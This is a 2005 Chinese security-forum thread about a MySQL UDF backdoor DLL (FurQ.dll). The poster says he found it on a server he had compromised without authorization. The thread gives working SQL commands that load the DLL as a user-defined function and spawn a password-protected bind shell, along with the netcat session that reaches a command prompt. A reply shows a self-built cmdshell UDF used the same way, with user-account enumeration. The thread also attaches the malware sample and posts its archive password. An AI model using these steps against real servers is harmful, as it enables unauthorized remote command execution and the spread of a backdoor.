发新话题
打印

[原创]分析一个利用新技术的病毒

[原创]分析一个利用新技术的病毒

文章作者:kEvin1986 <kevin.hididi.net>
信息来源:邪恶八进制信息安全团队

今天去网上测试MySQL Fun漏洞(其实不能说是漏洞,只能说是一个技术而已).用MySQL Fun的一些技术刚攻克一台Xeon的主机,进去之后,想做点测试,但是突然发现这台主机的C:\下有一个叫FurQ.Dll的东西,28K大小,感觉和我用的那个程序非常相似.....于是感觉比较疑惑.就将这个FurQ.DLL放到IIS目录里下到本机里用W32DSM进行反汇编,虽然我这点能力不强,但是还是希望能通过这个来锻炼一下基本的反汇编能力...

首先用W32DSM打开这个DLL.先点开函数菜单看输入和输出,发现输入的函数中有WS2_32等函数,包括接受\监听\绑定\等函数..然后看输出的函数中只有一个Shell函数,看到这些基本上觉得有问题了...这个程序肯定连接网络...
再看字符参考那里,发现一个巨经典的字符:COMSPEC.看到这里,基本明白了.这个程序有调用CMD.EXE执行程序的能力,不过这个到底是在MySQL中还是在Shell当中呢?我不清楚,于是就有接下来的测试了.
首先在mysql里执行
use mysql;
create function Shell Returns integer soname &#39;c:\FurQ.dll&#39;;
在这里,函数Shell指的是FurQ.DLL里的Shell函数,否则创建失败..
返回函数创建成功了.我们马上测试函数
select shell(&#39;echo kevin >c:\z.txt&#39;);
select shell(&#39;/c echo kevin >>c:\z.txt&#39;);
select shell(&#39;cmd.exe /c echo kevin >c:\z.txt&#39;);
在这里,我测试的是这个COMSPEC是否是在MySQL函数中执行的....
然后
select load_file(&#39;c:\z.txt&#39;);
返回NULL说明z.txt没生成....看来不是执行
那么估计这个是在TCP端口中执行的了吧....要么这个程序设置鉴听端口也比较无聊的.现在开始分析端口,在W32DSM里找到.bind方式的地方,发现上面显示了跳转,然后用OllYDBG打开这个DLL并且用LoadDLL载入,恩,Ctrl+G条到这个跳转.看了两下,看到头昏...看来我来跟还是不行,那么去肉鸡上测试吧...

在那台xeon上执行这个select shell();
返回NULL,这个时候我打开Taskmgr,发现MySQL的进程站用特别大,然后使用
netstat -ano (win2k3的机器,有o参数)
返回进程ID....
用tasklist|find "mysql"
列举进程..发现PID为6012
用netstat -ano|find "6012"
列举MySQL进程所开的端口,发现除了3306以外还有一个6666端口开放...估计这个就是这个函数所产生的端口吧.
为了验证,我在本机
nc -v IP 6666
然后连接成功了,输入个
ver看看是不是执行命令,返回ACCESS DENIED
看来是有限制啊.....
去W32DSM里查看一下串拷,果然有这个函数..恩..现在开始锻炼一下我的破解功力了吧......
不过要分析一下,如果要我做这么一个后门+Shell,一定不会想到加密,用VB写的话一定是这样的
if pwd="123" then call execshell else call failed
以上我就开始跟踪.....
进入这个字串的位置,一般会有一个test来比较,于是向上,发现一个跳转,然后我在OllyDBG里进入这个跳转......跟了一下,没发现有密码呀...晕....去请教冰血,在传送文件的途中,我突然发现我居然近视到这个程度,边上的分析框中明确的写着ASCII "FurQ"
汗...原来密码就是串拷里的FurQ...我还以为是什么呢......到这里就基本差不多了,实验了一下,
引用:
nc ip 6666
FurQ

C:\Mysql\data>
哈哈..搞定.........明白的了...
这次分析结束,而且我将FurQ.DLL发送给冰血的时候,冰血说传一半就给卡吧杀掉,靠,这个大叔真不是盖的,而且另一台机器上的卖咖啡小姐也能杀掉,而国内任何一款杀毒软件都对这个病毒视而不见.......真是弱呀...
这次分析还算可以,这个漏洞利用了国内的没公布的一些新技术....估计CASI4出来的时候国内又要疯狂了......
OK.分析完了....好象好不专业的样子.呵呵....

附件是病毒 请勿传播 当您下载的时候就意味着您已经接受了如下条款:
1 不恶意撒播该病毒 不对网络释放该病毒 只供自己研究用
2 所造成的任何民事和刑事后果和邪恶八进制信息安全团队无关

附件

病毒.rar (10 KB)

2005-5-12 20:38, 下载次数: 80

me=\"kEvin1986\" & chr(0) & \"at solitude\" msgbox len(me)  \' You can see somthing. msgbox me  \' But just part of it. \'i think i will hide part of myself

TOP

用普通的记事本写的文章 一眼就看出来了...
PS2 应该说想和冰血讨论一下 不是请教 因为我也不会...
此病毒详细分析 不知道Bideyore有没有兴趣?

TOP

连kevin的名字都试过了,还是猜不到压缩包密码
我没头像了。。。

TOP

引用:
下面是引用a11yesno于05-13-2005 08:22发表的:
连kevin的名字都试过了,还是猜不到压缩包密码
晕 嘿嘿 当初Kevin要给我的 传过来就被我的Kaspersky杀了 所以让他加密 密码应该是1234
Kav说它叫Backdoor.Win32.Shellfur.a

TOP

。。。。。。。。
我猜了12345
。。。。。。。。

TOP

mysql> use mysql;
Database changed
mysql> create function Shell Returns integer soname &#39;c:\\furq.dll&#39;;
ERROR 1127 (HY000): Can&#39;t find function &#39;Shell&#39; in library
mysql> create function shell returns integer soname &#39;c:\\furq.dll&#39;;
ERROR 1127 (HY000): Can&#39;t find function &#39;shell_init&#39; in library

TOP

终于弄明白了,dll 也写了个,furq.dll可以扔了。不怕被杀了,呵呵
感谢搂主
1:
D:\tools\mm>mysql4 -h localhost -uroot -p1234
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 3 to server version: 4.1.11-nt

Type &#39;help;&#39; or &#39;\h&#39; for help. Type &#39;\c&#39; to clear the buffer.

mysql> show databases;
+----------+
| Database |
+----------+
| mysql   |
| test    |
+----------+
2 rows in set (0.00 sec)

mysql> use mysql;
Database changed
mysql> create function cmdhell Returns integer soname &#39;c:\\myudf.dll&#39;;
ERROR 1127 (HY000): Can&#39;t find function &#39;cmdhell&#39; in library
mysql> create function cmdshell Returns integer soname &#39;c:\\myudf.dll&#39;;
Query OK, 0 rows affected (1.04 sec)

mysql> select cmdshell("7800");


2:
D:\tools>nc -v 192.168.0.11 7800
BBCBANK1 [192.168.0.11] 7800 (?) open
Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.

C:\Program Files\MySQL\MySQL Server 4.1\Data>net user
net user

\\ 的用户帐户

---------------------------------------------------------------------
__vmware_user__       Admin              Administrator
Guest              HelpAssistant        SUPPORT_388945a0
VUSR_BBCBANK1
命令运行完毕,但发生一个或多个错误。


C:\Program Files\MySQL\MySQL Server 4.1\Data>

TOP

我晕,不就是mix的文章里那个win下root获得cmdshell的方法嘛。。汗

TOP

mix的文章里那个win下root获得cmdshell,没看过希望高人能转载到其他版面,谢谢

俺是菜鸟

TOP

我没头像了。。。

TOP

哈.....赛迪真有意思...嘿嘿
Mix把那个技术放在PST站上公开以后,相信国内很多人都能够想到这个了..
其实也早该想到
没有MSSQL的 Xp_Cmdshell的时候,我们自己创建Xp_Cmdshell
发现Oracle数据库的口令的时候,我们自己利用Msvcrt.dll来创建运行的函数
只是MySQL一直都没人注意而已..
me=\"kEvin1986\" & chr(0) & \"at solitude\" msgbox len(me)  \' You can see somthing. msgbox me  \' But just part of it. \'i think i will hide part of myself

TOP

发新话题